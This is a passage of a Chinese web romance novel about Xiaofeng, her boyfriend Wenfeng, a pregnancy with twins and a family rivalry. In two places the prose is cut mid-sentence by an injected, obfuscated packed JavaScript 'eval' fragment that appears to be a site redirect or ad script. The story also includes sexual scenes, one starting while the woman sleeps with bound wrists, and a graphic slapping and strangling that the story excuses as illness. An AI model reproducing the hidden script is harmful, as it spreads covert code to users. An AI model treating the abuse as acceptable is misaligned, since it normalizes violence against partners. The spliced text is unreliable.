晚上篮球队又集中观看S队的比赛录像,以针对性的进行攻防部署,这时候的姜文枫又恢复到那个面无表情冷言冷语的状态。饶晓枫也一个人在房间里面,对着笔记本电脑整理课题的内容。 2012年10月1日 在星期一的比赛中,宁海大学取得了胜利。篮球队和啦啦队启程赶往H市,因为啦啦队确实不需要晓枫,正巧晓枫的小组课题遇到点问题,她提出单独返回宁海市。 姜文枫一万个不放心,直到把她送上客运车,确认好到达时间,让哥哥承诺去接,他才放心得随队继续比赛。 到了H市已经很晚了,他们直接入住酒店休息,2号休息一天。文枫洗漱完毕,也一直在无聊按着电视遥控器,他在等晓枫的电话。 按照约定的时间,晓枫也差不多要到家了。 转钟了,文枫去了电话,电话只响了一下,就被晓枫接起来,“晓枫,你到家了吗?”“嗯,刚进门,正准备给你打电话。”“是哥哥去接你的吗?”“是的,你快睡吧,比赛期间要好好休息,乖,等你回来。嗯,我会想你的。” 文枫给哥哥发个信息,原本编辑的内容“谢谢!请照顾晓枫几天”,“谢谢!请陪陪晓枫几天”,文字打了又删,删了又重新编辑,最后还是只打出了,“谢谢!”“不客气!” 兄弟俩心有灵犀,晓枫累了,上楼回房间洗完澡就睡觉了,她压根没有精力关注姜文清走没走?几时走的? 直到第二天,早晨下楼,才看到姜文清睡在客厅沙发上,身上盖着的是自己的西装外套。饶晓枫去客房拿了条毯子,给他盖上,轻手轻脚出门买早餐去了。等她回来的时候,姜文清已经起来了,正在收拾毛毯和自己的西装,两个人吃过早餐,晓枫就坐到书桌旁,在笔记本上忙活开了。 好像是个视频会议,晓枫时不时会说几句,“需要列举常用无理数”、“除数不为零,不展开论证,对我们的论证没有支持作用”、“分离b啊”、“能论述更深层次的矛盾更好,但这并不是重点”…结束之后,晓枫准备去院子抽根烟,但是想到那天文枫给她看的视频,她把烟又塞回烟盒,盖上烟盒,干脆丢进了垃圾桶。 姜文清在准备中餐的时候,发现了丢到垃圾桶里面的烟盒并不是空的,他还挺好奇,弟弟是怎么劝说晓枫戒烟的。不能抽烟,晓枫就去冲了杯咖啡,她给文枫打了个电话,两人汇报了各自的行程安排。9号文枫会回到宁海市,那天下午晓枫会去参加一个摩托车会组织的活动,两人相约家中见面。 晓枫并没有在电话中说,文清哥还在家里。她看着这个男人在家里忙进忙出,也不知道该说些什么。 吃完午餐,晓枫在客厅的地板上,找了块有阳光的区域,直接躺下就睡。收拾餐具,倒垃圾,去超市买了块黄油,回到家里的文清,看到晓枫躺在地上,以为她又晕倒了,跑过去,公主抱起她,准备放沙发上,嘴里还碎碎念着,晓枫,你别吓我。 晓枫等他放下自己,才开口说,我没事,在那里晒太阳睡觉。姜文清有点尴尬,转身就走,留下了一句,“好”。 他不知道,刚才他紧张的神情会不会被看到,低语的那声关心会不会被听到。下午,姜文清就逃离了晓枫的家,几天都不敢出现。 2012年10月9日 饶晓枫当天在比赛的时候,弯道没有压好,失去平衡,从车上摔下来。甄康把她送到了曼林医院,就走了。饶晓枫,挂了个骨科的号,就去科室门口等待了。 前台的导诊回忆起饶晓枫,跟周勇院长办公室打了个电话,“饶小姐到医院来了,挂了个骨科的号,手受伤了。”周勇来到一楼骨科诊室门口,看到了正在候诊的饶晓枫。 晓枫也看看周叔叔,不好意思得站起来,叫了一声,“周叔叔”。“怎么搞的?”“骑摩托车摔的?”“一个人来的?”!“朋友送我来的,有事先走了。”边问边把她带进了一个通道,拐了两个弯,就进了医生的诊室,问诊拍片子出片子,右手手腕严重挫擦伤,万幸没有伤到骨头。 又一次被收住院。“晓枫,腰椎还疼不疼?”“不影响生活,但是坐久了或者站久了,就会隐隐得疼。”“真是委屈你了。”“周叔叔,不会。我没事。”“现在要不要通知谁,给你送生活用品或者陪你?”“打给我男朋友吧,姜文枫。”“那是个不错的孩子。” “周叔叔,周洋他们还好吗?”“都好,一切都好。”这个消息传入她的耳中,她的嘴唇瞬间颤抖起来,眼睛瞪大,紧接着眼眶就红了。泪水像是断了线的珠子,不受控制地从她脸颊滑落,打湿了衣领。她抬起左手捂住脸,双肩不停地抽动着,喉咙里发出压抑的呜咽声。 周勇按着她的肩膀安慰着她,“还是给你男朋友打电话,让他赶紧过来吧。” 接到晓枫电话的时候,文枫又慌乱得不知所措。他第一时间给姜文清打电话求助。 文清告诉他,首先,直接去医院,不要管住院要用什么,要用什么直接去买,然后,跟甄康去电话,确认晓枫的车目前在哪里?能约什么时间去提车?最后,跟学校老师请假,如果有需要,篮球队教练,啦啦队教练那里都要请假。 文枫第一时间打个车直奔医院,在车上把哥哥交待的其他事情都办了。 打听到病房在四楼,电梯也不等了,直接爬楼梯冲进病房。门也没敲,直接推门进入,“哪里受伤了?”“右手手腕,没有伤到骨头,是周叔叔太紧张,非要我住院。”“周叔叔,检查清楚了吗?没有伤到骨头吗?”“没有,但是软组织的挫伤有时候更难恢复。”“我可以做什么?”“但凡需要她右手做的事情,你都得代劳。”姜文枫一下进入思考模式,“嗯,我可以留下来陪她吗?”周勇往病房外走去,拍了拍靠门的一张床,“你睡这里,别跟她睡一起,晚上把你挤下来,倒把你摔骨折。” 说完就离开病房,留下略显尴尬的两个人。姜文枫在周勇走后,说个不停,语气中有责备有心疼有关心有无奈,晓枫就听着他说,看着他笑。“跟你说正经的,就知道笑。”“我笑起来不正经吗?”“几天没收拾你,你想造反了?”文枫单手抬起晓枫的脸,狠狠咬了她的嘴唇一下,“咝”晓枫疼得叫出声,可能她真不应该在文枫如此焦急的时候开玩笑。 文枫并不打算听周叔叔的,他抱着晓枫睡了一晚。 第二天早上,他们是被姜文清打给姜文枫的电话叫醒的,文清当时就想赶往医院的,但是他忍住了,只得先把拖车的事情安排了。 一夜无眠,好不容易,快天亮了,打给弟弟,问了病房号。 他洗了个澡,出门买了早餐,就直奔病房。 一如往昔,跟上次在医院见到饶晓枫时的情景一样,她还是在病房上眉飞色舞的说着什么,不同的是,在床边看着她笑的人,从周洋变成了姜文枫。 “还是文清哥会照顾人,每次都能及时出现。拯救我的肚子于水深火热之中。”晓枫吃着海鲜粥,不停的感谢姜文清。 出院之后,姜文枫把晓枫安排在自己屋里,还给装了个监控,严格控制这个家伙出房门活动的时间,他则请半天假在家里,做点简餐,帮换药。 2012年10月18日 “就是好无聊,文枫连楼都不让我下,每天吃喝都端在手里,下床就是出省,去趟卫生间堪比出国。阿姨,文枫做的饭不好吃,我想吃你做的菜。”文枫听到晓枫在打电话,听完对话,他知道电话那头是自己的妈妈,小妮子找未来婆婆,告自己的状。 文枫进房间给她换药,活血化瘀的药,早晚各换一次。 晓枫打完电话就昏昏欲睡,文枫给她换药的时候,她都已经进入梦乡了,任凭文枫把她的手摆来摆去。 她的右手被举过头顶,在缠绷带。左手被举过头顶,在缠绷带。 她迷迷糊糊的抽动双手,发现都不能动,双手好像被绑在床架上了,还没有等她完全清醒,喊出话来,姜文枫就压在她身上,开始吻她。 他最清楚自己的身下的人,一接吻就犯迷糊,他用舌头在她嘴里探究每一寸地方,右手不停抚摸她的脸。 直到身下人浑身瘫软,他知道时机成熟了。“监控,还开着。”文枫愤愤起身,边走向监控边脱掉自己的上衣,丢过去盖住监控,然后又俯身拔掉插头。 重新回到床上,第一次体验到负距离交流的快感,从此这个人这颗心都是她的。 晓枫已经沉沉睡去,文枫解开她的绑带,把她的手放到被子里。 他自己去洗了个澡,重又回到晓枫身边躺下。“新床垫果然舒服”他想着想着,也睡着了。 晓枫正常返校上课,只是不用参加啦啦队的训练,下午正好有时间约小七逛街聊天。 这个暑假,小七去了趟日本,跟晓枫买了送给文枫的钥匙扣,回来休息了几天,又去了新西兰。开学半个月才回来,现在正狂补课。小七的话题,离不开文枫的效率,两个月拿下晓枫。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我有时候会想,不是,有时候,是经常,会想那天~就是那天晚上的事情”,“嗯”文枫笑着侧了一下头,“想到就会不舒服。”“哪里不舒服?”“不是不舒服,是心里很难受”这用词是越来越严重,文枫皱了皱眉,“不对,你让我想好再说。” 文枫发挥他一贯主动的性格,贴近晓枫的耳朵,“是不是心里痒痒的,想要重温?” 说完,摆正自己的身体,得意的笑着望向这个烦人的小妖精,晓枫瞪圆了眼睛,心想,“就是这种感觉,他怎么知道的?他难道也是这样吗?” 顿感不妙的晓枫,企图从鞋柜滑下,趁机逃脱。但是她哪里是身高接近190的姜文枫的对手,直接一把滑进对方的怀里,被扛到楼上房间的床上,“你这是自投罗网,为什么不早说?”“我以为这样不正常。”“嗯,是很不正常,居然这么久才告诉我。待会,听我的。” 晓枫挣扎着起床,“我先去洗个澡。” 冲进卫生间,连睡衣都没有拿。没办法,先洗吧。 温暖的水流让身体热起来,她心猿意马,不禁脸红燥热。关了水龙头,她喊了一声,“文枫,把睡衣拿给我。”没有反应,她又提高点音量,“文枫,文枫,在不在?”还是没有反应。 晓枫以为文枫不在房间里,擦干了,就用手捂着自己,探头探脑得走出浴室。 姜文枫就在浴室门旁,他一把抱起晓枫,重重的摔在床上,就这样赤条条的仰面躺着,她赶忙伸手去找被子,文枫上床,跪在她的身边。 她闭着眼睛,把头侧向一边,文枫沉重的鼻息打在她的耳边,“睁开眼睛,看着我。” 晓枫不敢,文枫在她耳边,轻轻吹了一口气,“听话,睁开眼睛。” 晓枫用力睁开眼睛,稍微回正自己的脑袋,身上的文枫,原本白净的脸上润出十分好看的红色,嘴唇轻启,他吞咽口水的时候,喉结迅速地向上一提,又缓缓落下,就像被无形的线牵引着,短暂地跃起又归于平静。 这简单的动作,却有着一种原始而纯粹的性感,仿佛是男性荷尔蒙在不经意间的一次悄然释放。 “怕不怕?”晓枫摇摇头。“晓枫,我爱你!”“我也爱你,文枫!” 2012年10月20日 这天,篮球队田教练,啦啦队马教练把姜文枫和啦啦队队长余丹丹喊到办公室。 田教练把在S市学校的宣传经验分享了一下,他的想法是让两人拍一组宣传照,问问他们的意见。 余丹丹没有做声,姜文枫低着头,“如果篮球队选我,啦啦队队员必须是饶晓枫。我不跟她合作。” 然后不等任何人的答复,他就出了办公室。田教练也不想惯着他的臭毛病,决定换篮球队队长井忠炜拍宣传照。 成片出来之后,按照马教练的说法,“井忠炜也帅气,余丹丹也漂亮。但是两个人之间毫无默契,合照像合成的,完全没有眼神交流。”田教练也气得头顶冒烟,无奈只得屈服,换姜文枫和饶晓枫上。 2012年10月25日 是约定拍照的日子,两个人来到摄影棚,主摄影师一位,花絮摄影师一位,妆造一位,助理两位。 对于工作人员的询问,文枫一概不理会,晓枫似乎成了他的代言人。 完成拍摄任务之后,他们俩玩心大起,又请摄像师拍了几张照片。 一张文枫的照片中,文枫裸露着上身,他背部的肌肉在天使翅膀的映衬下,像是被赋予了一种神圣的张力。从肩部开始,斜方肌微微隆起,宛如两座坚实的小山丘,线条向着脊椎的方向缓缓收拢,如同两条护卫着脊柱这一中心要道的忠诚卫士。每一束肌肉纤维仿佛都在为承载天使翅膀的重量而暗暗蓄力,肌肉的轮廓在皮肤下若隐若现,像是古老地图上隐藏着神秘力量的山脉脉络。 还有一张单人相从上往下,仅穿着打底裤的文枫,跪在地上,慢慢打开双腿,大腿线条紧致,肌肉与皮肤贴合得恰到好处,没有一丝赘肉。 还有一张两人的合照,文枫靠在床头,一手举过头顶。晓枫跪着,一手拿着相机,一手拖着文枫的下巴,随着她的动作,文枫另一手撑着床,慢慢抬起上半身,合照中的他们,眼神像是两只活泼的小鹿在互相嬉戏。文枫的眼睛里闪烁着狡黠的光亮,如同一个发现宝藏的探险家,而晓枫的眼神则像灵动的精灵,跳跃着、回应着,仿佛在说“你可逃不出我的手心”。 再一张照片里,文枫穿着啦啦队服,坐在板凳上,仰头看着晓枫;晓枫穿着篮球服,右脚踏在文枫两腿间的板凳上,右手搁在右膝上,对视着。文枫的眼神犹如炽热的火焰,专注地燃烧在晓枫身上,那目光中满是深情的倾诉,晓枫的眼神则似静谧而坚定的港湾,静静地接纳着文枫的深情,他们眼神的交汇宛如时间都为之凝固。 活动结束之后,他们都累的够呛。 两天后,当两人看到这组照片和拍摄花絮之后,她们决定毁约,不想让这组照片用于任何商业用途。 文枫打给哥哥,说明了事情的来龙去脉,文清将事情交待给公司的法务小林。 小林到学校很快解决了这个问题,根据合同规定,缴纳了两个人的违约金20万,并把两台相机交给专业人士处理,把属于两个人的照片视频进行抹除,存着这些照片视频的u盘交给了文枫。 日子就这样,过了两年多,到了大四。小情侣之间的玩玩闹闹,他们还没有玩腻。 晓枫训练体态的时候,文枫会在旁边学她,故意跟着她往相反的方向转圈,撞个满怀,抱在一起嬉笑; 晓枫练习瑜伽静止体态的时候,他会贱贱得,用手指头戳她,让她失去平衡; 文枫练习俯卧撑的时候,晓枫也会有意无意逗他笑; 一起做有氧训练时,晓枫的鞋带散了,文枫会蹲下给她系鞋带,看着文枫肌理分明的蝴蝶骨,忍不住俯身去摸,文枫会垫着她的头,她的腰,把她背摔到健身垫上,开始另外一种运动… 2014年9月29日 今天是宁海市商业会庆祝活动的日子,晓枫却生病了,总觉得身体懒困,头晕沉沉的。原本计划全家人一起出席的活动,文枫和晓枫都缺席了。 6. 这是这个家的魔咒 2014年9月30日 第二天,姜恒,姜婉和姜文清,到小两口的家里,来看望饶晓枫。 “等晓枫恢复一点,你们要不要出去旅行?大四,课程也没有那么忙,你们也不着急找工作。下周二叔和四叔准备去日本,你们要不要一起过去?”姜婉说,小两口两脸懵。“日本温泉多,你们去玩玩。” 文枫说,“我们考虑下,等晓枫好一些再说。” 一家人出去吃了顿中餐,席间,晓枫对食物兴趣缺缺,只喝了一些果茶。 姜婉很担心,“下午去医院看看吧!” “阿姨,不用,有时候来大姨妈之前就会特别不舒服。” “我懂了,我以前也这样,除了小肚子疼,胸也是涨涨的,生了文清之后,稍微好点,直到生了文枫后,就完全没有这些问题了。你们早点结婚生几个孩子,就好了。”两个女人挽着手,说笑着走在前头。 “真的,下个月文枫22岁,你们就可以领证结婚了,我是认定你做我们家儿媳妇了。你不会有什么别的想法吧?” “阿姨,没有,文枫对我很好。” “哎呀,好想让你改口喊我,妈妈。晓枫,你爱不爱文枫?” 晓枫想要认真的回答这个问题,她思索了一下,“阿姨,文枫出现在我最艰难的时候,他像我生活中的阳光。如果说,我把他当救生圈,我不会否认,那是刚开始的时候。他从不吝啬对我的爱,把我介绍给家人,朋友,也融入我的圈子。他很善良,温柔,有一股执着的劲,不轻言放弃。我心里的缺口是他一点点填满的,现在想到他我就会觉得很温暖。” “晓枫,现在还有没有什么会改变这一切?” “除非他不爱我。”姜婉掏出纸巾替晓枫擦了擦眼泪。 姜文清先把爸爸妈妈送回家,路上,姜恒问了他挺担心的问题, “你跟晓枫提了周洋回来的事情吗?” “没有。我跟晓枫提了结婚的事情,下个月,文枫22岁,他俩就可以领证了。” “这是你的思路。” “嗯,晓枫是个善良的孩子,听得出来,她很爱文枫,现在他们感情很好,不如趁热打铁,结婚生孩子,有了牵绊,感情更牢靠。” “会不会弄巧成拙?找机会,我再跟文枫谈谈吧。” 姜婉往前座探了探身子,抚摸着文清的肩膀说, “文清,你是爸爸妈妈的骄傲,你已经很棒了!” 文清只嗯了一声。 文枫和晓枫还在逛商场,在母婴用品店遇到了正在自家店里帮忙的小七,热情的给他们介绍起了母婴用品。 文清给文枫打来电话,他已经把爸爸妈妈送回家了,转头回来接他俩,问他们现在能走了吗?文枫说,他们正在逛母婴用品,让哥哥上来陪他们一起逛,晚点再走。 母婴用品?刚才还在车上说结婚生孩子的事情,这么快就开始走流程了? 等文清进店的时候,小七察觉出这个顾客好眼熟。 晓枫才介绍说,你觉得眼熟,是因为兄弟俩长得太像,小七似懂非懂。 车刚在家门口停好,文枫拿着大包小包下车,晓枫三步并作两步,进门就脱掉鞋子,边往厕所冲,边说着,“文枫,我尿急,东西放下,一会我来收。” 拖鞋都没来得及穿,刚到客厅,就看到沙发上坐着一个人,“周洋哥。” 晓枫兴奋得叫了出来,跑过去就抱着他。 文枫紧随其后,提着晓枫的拖鞋往客厅走,带着心疼的语气,“穿拖鞋”,却在客厅看到了这样一幕,周洋和晓枫紧紧拥抱在一起。 “你不是尿急吗?”晓枫从周洋身上下来,直接去了卫生间。 与此同时,停好车的文清,也换好拖鞋,进到了客厅。 三个男人就这么不尴不尬得站着,周洋首先打破沉默,“家里的锁没有换密码,我就直接进来了。” “你来干什么?”文枫依然单刀直入。 “刚回来,爸爸妈妈约晓枫回家去吃顿饭。” “那是你的家,跟她没有关系。” “她的户口还在我们家,我们是一家人。”周洋略带得意,想宣示主权。 晓枫从厕所出来,“干嘛都站着,坐啊。” 周洋一摆手,“晓枫,明天晚上回家吃顿饭,我五点来接你。爸爸妈妈都很想你。” “好啊。周洋哥,你没有开车来?” “嗯,国内的驾照到期了,明天上午去换证。” “我送你。”姜文清搭话了。 姜文清走后,姜文枫臭着脸,问中午妈妈和她聊了什么?她还在抹眼泪。 “阿姨说,你马上22岁了,我们可以领证了,要我们结婚。” 只一句文枫的心情就转晴了,“那你哭什么?” “她还要我们生好几个孩子,一想到自己要生那么多孩子,像母猪一样,我就好难过。” 文枫已经被逗得前仰后合,接茬说,“至少要生6个,组一个篮球队。” “篮球队不是5个人吗?” “还需要一个第六人。不对,还得教练,7个,副教练,8个…” 晓枫的拳拳又招呼上来了。 “文枫,我明天下午去周洋哥家里吃饭,晚点回来。” “一定要去吗?” “我的户口确实在他们家,还是需要解决的。吃完饭,我就回来,放心。”文枫心里十万个不愿意,又该怎么阻止她呢? 送周洋回去的路上,姜文清希望周洋不要打扰他们的生活,“姜文清,你更没有立场,跟我说这些。” “你刚才说的户口的事情,我想尽快解决。下个月他们俩要领证,所以现在是最好的时机。看你们时间方便,跟我联系。” 但凡有关晓枫的事情,文清都觉得责无旁贷,什么立场?什么身份都不重要。 周洋下车之后,文清绕到车后,蹲在地上,扶着墙,胃里一阵阵翻涌,不住干呕。 2014年10月1日 这天下午五点,周洋准时出现家门口,接上晓枫就直接回家去了。 晚餐的氛围都还不错,“叔叔阿姨,我不知道你们都回来,没来得及准备礼物,对不起。” “没有关系。只回来待几天,时间紧,没有提前通知你。晓枫,你好像胖了。”女人之间的开场不是衣服就是身材。 “哈哈,胖点可爱。”周洋接过话,“姜文枫把你照顾得很好。” 周骁和樊薇薇相视一笑。 席间,周洋说了这几年在美国的学习实习经历,晓枫认真听着,不住点头表示认同,“这很好啊,爷爷和叔叔,都是为了你好。”“你是应该听他们的。”…“ 爷爷现在还好吗?” “挺好的,去美国之前做了个小手术,这几年在美国,还监督我跑步,锻炼身体。” “身体是革命的本钱嘛,爷爷是对的。爷爷能教你的东西很多,你要努力学,还有叔叔也是,你们都是很厉害的人。” “晓枫,你呢?马上毕业了,有什么计划?” “还没有什么计划,现在课程不多,我们准备去日本泡温泉,文枫还想去美国看球赛。对了,下个月文枫22岁,我们打算领证,到时候把我的户口迁走。” “下个月,不急,我们会呆几天,到时候再跟你去办。” 周洋知道,哪怕敷衍得这么敷衍,她这个小傻妞也会相信的。 如他所愿,晓枫没再继续追问。 晚饭后,晓枫不愿多留,她此时只想回家抱抱她的文枫,给他一个深深的吻。 周洋开车把晓枫送到她家门口,晓枫准备进门,周洋叫住她,递给她一个首饰盒,晓枫不敢接。 “是条项链,打开看看。” 晓枫才接过来,打开盒盖,是一条枫叶的吊坠项链,“喜欢吗?” “谢谢,周洋哥。” “不用,我帮你戴上。” 他轻轻拿起那条精致的项链,将细链在手中理了理,确保没有缠绕。然后,双手绕过她的脖颈,小心翼翼地把项链的两端靠近。他的手指灵活地将搭扣穿过链环,轻轻一按,项链便稳稳地落在她白色的外套上。 晓枫低头看看,又跟周洋道了声谢,就进了院子。 这一切,姜文枫都看在眼里,等晓枫一进门,他突然抬起左手,手臂在空中划过一道弧线,手掌以极快的速度朝着她的脸甩去。只听“啪”的一声脆响,那手掌重重地落在了她的脸颊上,五个手指印瞬间浮现,被打的晓枫的头也被这股大力扇得偏向了一侧,整个人像是被抽走了所有的力气,往旁边踉跄了好几步,耳朵里嗡嗡作响,脸颊上火辣辣的疼痛像是有无数根针在扎。 她捂着脸,“文枫?”文枫并没有解气,一个手抓起并钎住她的双手,另一个手掐着她的脖子,把她推到墙上,“文,枫,你,放开我。” 她想说话,又想咳嗽,或者说就是想顺畅呼吸,文枫没有松手的意思,恶狠狠得眼神像要吃掉这个猎物,手上的力道丝毫未减。 周洋正准备开车离开,看到副驾晓枫的位置上有个唇膏,随即下车给晓枫送回去,门并没有关,他推开虚掩的门,就看到这一幕,他一把上前,抓开姜文枫,给了他一拳,“晓枫,你没事吧?” 姜文枫趴在地上,蜷缩着呻吟,“姜文枫,你疯了?” 饶晓枫缓过神来,看到周洋又准备过去揍文枫,而文枫在地上痛苦的呻吟,她赶忙跑过去,“文枫,文枫,怎么了?” 周洋也懵了,“周洋哥,送我们去医院。” 周洋立马启动汽车,文枫始终捂着胸口,意识逐渐模糊。 晓枫的眼泪忍不住的掉,他给文清哥打了个电话说明情况。 到了医院,周勇已经安排了抢救室,晓枫坐在抢救室门口的椅子上,身体前倾,双手紧紧地交握在一起,指关节因为用力而泛白。 她的眼睛一直盯着地面,眼神空洞又迷茫,头发有些凌乱地散在肩头。 姜恒姜婉和姜文清一起到了医院,姜婉陪晓枫坐着,不知道从哪里问起,只拍拍她的背,希望安抚她的情绪。 周勇从抢救室出来,问了下刚才发生的事情。 听到周洋说,“我打了他一拳。”姜文清立马上前,揪住他的脖领子,“你打他?” “他打晓枫。”众人才转头看向默不作声的晓枫,才注意到她脸上清晰可见的手掌印,凌乱的头发。 “不是我阻止他,晓枫要被他掐死了。”周洋又暴怒了,准备动姜文清的手。 “晓枫,对不起,妈妈给你道歉。是我没有把他教好,我来教训他,对不起。出什么事了?” 饶晓枫摇摇头,“他不是有心的,只希望他没事。” 姜文清抓住晓枫的手腕,希望把她拉起来,晓枫吃痛得哼了一声,站起身,被拉到周勇身旁,“请给她检查处理下,谢谢!” 周勇交待了一个护士去给晓枫做检查,转身进抢救室之前交待了一句,“我们会尽力,我们也会尊重病人隐私,请你们放心。”除了周洋,其他人都坐在板凳上。 晓枫又回到抢救室门口的时候,周勇也从抢救室出来,护士跟她交待了几句,他点点头,表示感谢。“ 姜文枫,情况已经稳定。从心电图情况来看,怀疑是长QT综合征,一种离子通道疾病,由基因突变引发,在情绪激动,运动的时候容易引发。需要住院,再完善一些其他的检查。” 他走到晓枫身边,说“你已经怀孕了,住院观察下吧。” 众人一悲一喜,一时不知道怎么表达自己的情绪,“晓枫你长胖了好多,没察觉吗?血液检查的结果是怀孕了,具体情况你跟妇产科的医生说。你们太大意了,今天如果有个三长两短…当然,无论有没有怀孕,都不能打人。” 周勇说这话的时候故意转向了姜家人。“脖子被掐,皮肤红肿、淤血,力度还不小,气管受压,有咳嗽、喘息的症状。两个手腕被掐时指甲嵌入皮肤造成抓伤,有少量出血和组织液渗出,伤口边缘有红肿现象。脸上的掌印,你们能看得到,我就不解释了。” 没有人再说什么,各自忙着手里的事情,安顿他俩住院。姜文清送走父母之后,留下来陪护。 文枫还没有醒,病床边是各种监护设备,时不时发出刺耳的叫声。 晓枫也睡不着,在文枫病床前坐了一会,又慢慢踱回自己的病房。 文清跟在她的身后,小心翼翼。她回到病房,坐在沙发上,文清端了个板凳坐在她面前。 “有哪里不舒服吗?”晓枫摇摇头,“没有。” “今天到底发生了什么事?” “我不知道,从周洋哥家里吃完饭回来,一进门,他就打我…” 说到这里晓枫开始啜泣,“我好怕,文清哥,我怕文枫会有事。” 说完痛哭着,扑倒文清的怀里,文清眼圈湿润,他不知道怎么安慰她,在这种时候,她还是担心那个爱人,而不是她自己。 他拍拍晓枫的背,“不怕,有文清哥在,不怕。”“嗯,呜呜呜呜呜呜呜” 她哭得声嘶力竭,那哭声像是要把心中所有的委屈、难受和担忧都宣泄出来,在寂静的病房里回荡,尖锐而又揪心。 哭过之后,她沉沉睡去。文清在她的病房坐着守了半夜,见她睡熟,又去了文枫的房间,守了半夜。 回到家的姜恒和姜婉,第一时间给老二和老四去电话,“这是这个家的魔咒”“始终无法逃脱”…宿命论让四位老人短暂陷入绝望。 最终他们的决定是,让文清陪同他们俩到美国养病,学习,生孩子。二叔回国,跟姜恒一起管理公司内部事物,四叔先安顿他们在美国的生活学习,再负责公司的外联业务。 2014年10月2日 早晨,文枫的药效过了之后,慢慢醒过来,第一时间,要找晓枫。 文清跟他了解前一天的情况,对于打人和被打的事情,他记得很清楚,但是始终无法解释冲动产生的原因,就是一种让他无法克制的愤怒和难受,揪着他的心,让他觉得痛苦。 说话的时候他低着头,声音也低沉无力;脸上涨得通红,耳朵也红扑扑的,不敢直视哥哥的眼睛,在讲述的过程中还会时不时地偷瞄一眼哥哥的反应。眼神闪躲目光总是游离不定,不敢和哥哥有眼神交汇,好像害怕从对方的眼神里看到责备或者失望,只是盯着自己的脚尖或者病房的某个角落。 进来的医生打断了病房中的沉默,医生交待了今天要做的检查,询问了病人的情况就离开了。 文枫不死心,仍继续跟哥哥打听晓枫的情况,这是自己种下的苦果,无论多难,都得把晓枫哄回来。 文清推着他,来到晓枫的病房前,透过半开的房门,文枫只看到周洋坐在病床前,看不到晓枫的状态。 文清并没有让他进病房,文枫不解,“她受伤很严重吗?” “脖子上有被掐的淤痕,手腕上也是,右脸上的手掌印很红,这些都不是关键。” 文枫心提到了嗓子眼,“还有更严重的?” “她怀孕了。”文枫腾得一下从轮椅上站起来,冲进了晓枫的病房,病房里的周洋和病房外的文清都吓得呆愣住,看到熟睡的晓枫,文枫才冷静下来,他现在心里十万分的后悔,不管有没有怀孕,他都不应该打晓枫。 周洋也是强压着心里的愤怒,如果不是姜文枫有病,他一定又和他扭打在一起。 姜文清把弟弟拉出病房,先让她休息吧。 文枫回到病房,拿出外套口袋里的手机,翻看了一下,嘀咕了几句,“哥,如果没有记漏的话,晓枫怀孕两个多月了。” 文清接过弟弟递过来的手机,是一个手机软件,上面记录着,晓枫大姨妈的起止时间,量的大小,是否有不适症状,甚至还有两人做羞羞事的时间… 文清把手机还给弟弟,原来爱一个人真的可以如此用心,而一切又是这么自然。 文枫一上午都在做检查,心电图运动实验,心脏核磁共振,抽血…已近中午,忙完检查,等他回到病房,晓枫已经侧身坐在病房的沙发上。 文枫又是腾得一下蹦起来,晓枫也被这动静吸引,转过头来,还没有等她反应过来,文枫的拥抱就如同一团炽热的火焰将她紧紧包围。 那一瞬间,她的心跳陡然加快,像是要冲出胸腔。 她的脑海里一片空白,只能感受到他有力的双臂环绕着自己,他的气息扑面而来,带着熟悉的温暖与安心。 她的身体先是一僵,随后渐渐放松下来,就像一片在风中飘荡许久的叶子终于找到了栖息之所。 她缓缓地抬起手,犹豫了一下,最终轻轻地搭在了他的背上。周围的世界仿佛在这一刻静止了,只有彼此的呼吸声交织在一起,诉说着那怕只是一夜,也是无尽的思念和眷恋。 文清退出病房,关上门,坐在门口的板凳上,怅然若失。 没一会,两个人开门走出病房,“晓枫说,妇产科医生问过她一些情况,她哪里记得住,我现在去跟医生说说。” 好像什么都不曾发生过,两个人只沉浸在怀孕的喜悦中,在善良的饶晓枫看来,文枫前一晚的行为是疾病作祟,根本不是他的本意。 妇产科李教授说,根据你们记录的末次月经的时间,正常HCG数值在8万左右,晓枫的结果有15万,也许是个体差异,也许是多胎。 因为已经孕9周了,李教授安排下午做腹部彩超。 中饭,午休之后,姜恒和姜婉也到了医院,大家都在彩超室外面等着结果。 李教授亲自给他们解释结果,“通过彩超可以看到两个胎芽和胎心,在同一个羊膜囊内,同卵双胞胎。目前孕9周+2天,预产期2015年5月6日。” 原本以为新生命的到来只是一份喜悦,可当知道是双胞胎时,那种喜悦像是被放大镜无限放大。现在满是对未来双倍的憧憬,这喜悦如同在平静的湖面投下两颗巨石,掀起的幸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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you,too!"文枫又重复一遍,晓枫也重复一遍,直到两个人眼中噙满泪水,拥抱在一起。是啊,见到你真好,也许只是睡一觉,就有可能再见不到自己的爱人。 2014年11月25日 视频电话一头是姜恒和姜婉,另一头是文清,文枫和晓枫。 话题基本围绕晓枫,今天是她22岁的生日,已经孕17周了,怀着宝宝过生日是件幸福的事情。 她基本没有反应,能吃能喝,特能睡。 两个宝宝肯定特别懂事,知道心疼妈妈。姜婉回忆说,之前晓枫贪睡,头晕,原来是怀孕的反应,还以为是生病了。 晓枫展示了下,自己的孕肚,确实是比单胎孕妇的肚子要大很多。 晓枫撒娇的说,“阿姨,医生说我长太胖了,说我长太多了,我得控制体重。” “丫头,别傻,你吃得开心,就是宝宝开心,而且是双胞胎,体重增加得快是正常的。” 文枫调笑着说,“妈,你应该看看她练瑜伽,看看这个灵活的胖子。” 晓枫的拳头又招呼上来了。 “晓枫,你可不可以叫我一声''妈妈''?”姜婉声音哽咽。 晓枫望了一眼文枫,文枫点点头,像是肯定,像是支持,晓枫冲着镜头,“妈妈,爸爸。” “好好,好好,晓枫乖。”这一声爸爸,让镜头这边的姜恒侧过头去抹眼泪。 “爸爸妈妈下个月来,给你红包,改口的红包。” “谢谢爸爸,谢谢妈妈!”晓枫好久没有这么开心得喊出这两个称呼。 这天晚上,文枫从背后抱着晓枫,两人轻柔的云雨了一番。听爱人温柔的耳语,“我爱你”,听多少遍都不会厌。 2014年12月11日 孕19周+2天,下午,两人午休起来,去散步。 路过一个篮球场时,两人在场边看了很久。 